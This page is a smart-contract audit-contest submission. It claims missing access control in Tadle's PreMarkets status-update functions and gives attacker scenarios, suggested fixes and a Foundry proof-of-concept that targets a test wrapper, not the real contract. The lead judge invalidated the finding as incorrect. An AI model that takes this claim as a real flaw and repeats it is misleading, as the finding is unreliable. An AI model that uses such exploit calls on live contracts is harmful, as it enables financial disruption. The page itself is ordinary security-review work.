Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Invalid

Unauthorized Access to Critical Functions in PreMarkets Contract

Summary

The `PreMarkets` contract contains several critical functions (`updateOfferStatus`, `updateStockStatus`) that lack proper access control mechanisms. This vulnerability allows any user to call these functions and alter the state of offers and stocks, leading to potential financial loss and disruption of the marketplace.

Vulnerability Details

Scenario 1: Changing Offer Status
An attacker can change the status of an offer without legitimate permission, causing financial loss or operational disruption.

-1. Attacker Finds a Function Without Access Control:

  • The attacker finds that the updateOfferStatus function lacks adequate access control.

-2. Attacker Calls the Function:

  • The attacker calls the updateOfferStatus function with parameters that benefit them, for example:

preMarkets.updateOfferStatus(targetOffer, OfferStatus.Settled);

-3. Consequences:

  • Legitimate offers can be settled without the owner's consent.

  • The attacker can claim funds they shouldn't have.

  • The integrity of the market is compromised, and other users lose trust.

Scenario 2: Invalidating an Offer
An attacker can cancel a legitimate offer, causing loss to the offer owner.

-1. Attacker Finds a Function Without Access Control:

  • The attacker finds that the updateOfferStatus function lacks adequate access control.

-2. Attacker Calls Function:

  • Attacker calls updateOfferStatus function to cancel the offer:

preMarkets.updateOfferStatus(targetOffer, OfferStatus.Canceled);

-3. Consequences:

  • Valid offer is canceled without owner's consent.

  • Offer owner loses the opportunity to complete the transaction.

  • Attacker can disrupt market operations and cause financial losses to other users.

Scenario 3: Changing Stock Status
Attacker can change stock status without legitimate permission, causing uncertainty and losses in the market.

-1. Attacker Finds Function Without Access Control:

  • Attacker finds that updateStockStatus function does not have adequate access control.

-2. Attacker Calls Function:

  • Attacker calls updateStockStatus function to change stock status:

preMarkets.updateStockStatus(targetStock, StockStatus.Finished);

-3. Consequences:

  • Legitimate stock is marked as completed without owner's consent.

  • Attackers can cause uncertainty in the market and damage user trust.

Impact

  • Cancel legitimate offers without the owner's consent.

  • Update the status of offers and stocks, potentially settling or finishing them prematurely.

  • Disrupt the normal operation of the marketplace, causing financial losses to users and damaging the integrity of the platform.

Tools Used

Manual review

Recommendations

  • Use OpenZeppelin's Ownable or AccessControl to restrict access to critical functions.

import "@openzeppelin/contracts/access/Ownable.sol";
contract PreMarkets is Ownable {
function updateOfferStatus(address _offer, OfferStatus _status) external onlyOwner {
// Logic here
}
function updateStockStatus(address _stock, StockStatus _status) external onlyOwner {
// Logic here
}
function cancelOffer(address _offer) external onlyOwner {
// Logic here
}
}
  • If more granular control is needed, implement custom access control modifiers to restrict access based on specific roles or conditions.

mapping(address => bool) private authorizedAddresses;
modifier onlyAuthorized() {
require(authorizedAddresses[msg.sender], "Not authorized");
_;
}
function addAuthorizedAddress(address _address) external onlyOwner {
authorizedAddresses[_address] = true;
}
function removeAuthorizedAddress(address _address) external onlyOwner {
authorizedAddresses[_address] = false;
}
function updateOfferStatus(address _offer, OfferStatus _status) external onlyAuthorized {
// Logic here
}
function updateStockStatus(address _stock, StockStatus _status) external onlyAuthorized {
// Logic here
}

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/core/PreMarkets.sol";
import "../src/storage/OfferStatus.sol";
import "./PreMarktesTest.sol"; // Import the test contract
contract ExploitTest is Test {
PreMarktesTest preMarkets;
address attacker = address(0x1234);
address targetOffer = address(0x5678);
address targetStock = address(0x9abc);
function setUp() public {
// Deploy the test contract
preMarkets = new PreMarktesTest();
// Initialize offers and stocks for testing
preMarkets.testUpdateOfferStatus(targetOffer, OfferStatus.Virgin);
preMarkets.testUpdateStockStatus(targetStock, StockStatus.Initialized);
}
function testExploitUpdateOfferStatus() public {
vm.startPrank(attacker);
// Exploit: Update offer status to Settled
preMarkets.testUpdateOfferStatus(targetOffer, OfferStatus.Settled);
// Check if the offer status is changed
OfferInfo memory offerInfo = preMarkets.getOfferInfo(targetOffer);
assertEq(uint256(offerInfo.offerStatus), uint256(OfferStatus.Settled));
vm.stopPrank();
}
function testExploitCancelOffer() public {
vm.startPrank(attacker);
// Exploit: Update offer status to Canceled
preMarkets.testUpdateOfferStatus(targetOffer, OfferStatus.Canceled);
// Check if the offer status is changed
OfferInfo memory offerInfo = preMarkets.getOfferInfo(targetOffer);
assertEq(uint256(offerInfo.offerStatus), uint256(OfferStatus.Canceled));
vm.stopPrank();
}
function testExploitUpdateStockStatus() public {
vm.startPrank(attacker);
// Exploit: Update stock status to Finished
preMarkets.testUpdateStockStatus(targetStock, StockStatus.Finished);
// Check if the stock status is changed
StockInfo memory stockInfo = preMarkets.getStockInfo(targetStock);
assertEq(uint256(stockInfo.stockStatus), uint256(StockStatus.Finished));
vm.stopPrank();
}
}

forge test --match-path test/ExploitTest.t.sol
[⠊] Compiling...
[⠃] Compiling 2 files with Solc 0.8.26
[⠊] Solc 0.8.26 finished in 2.76s
Compiler run successful!

Ran 3 tests for test/ExploitTest.t.sol:ExploitTest
[PASS] testExploitCancelOffer() (gas: 45198)
[PASS] testExploitUpdateOfferStatus() (gas: 45231)
[PASS] testExploitUpdateStockStatus() (gas: 36291)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 141.40ms (50.02ms CPU time)

Ran 1 test suite in 160.57ms (141.40ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Updates

Lead Judging Commences

0xnevi Lead Judge
about 1 year ago
0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.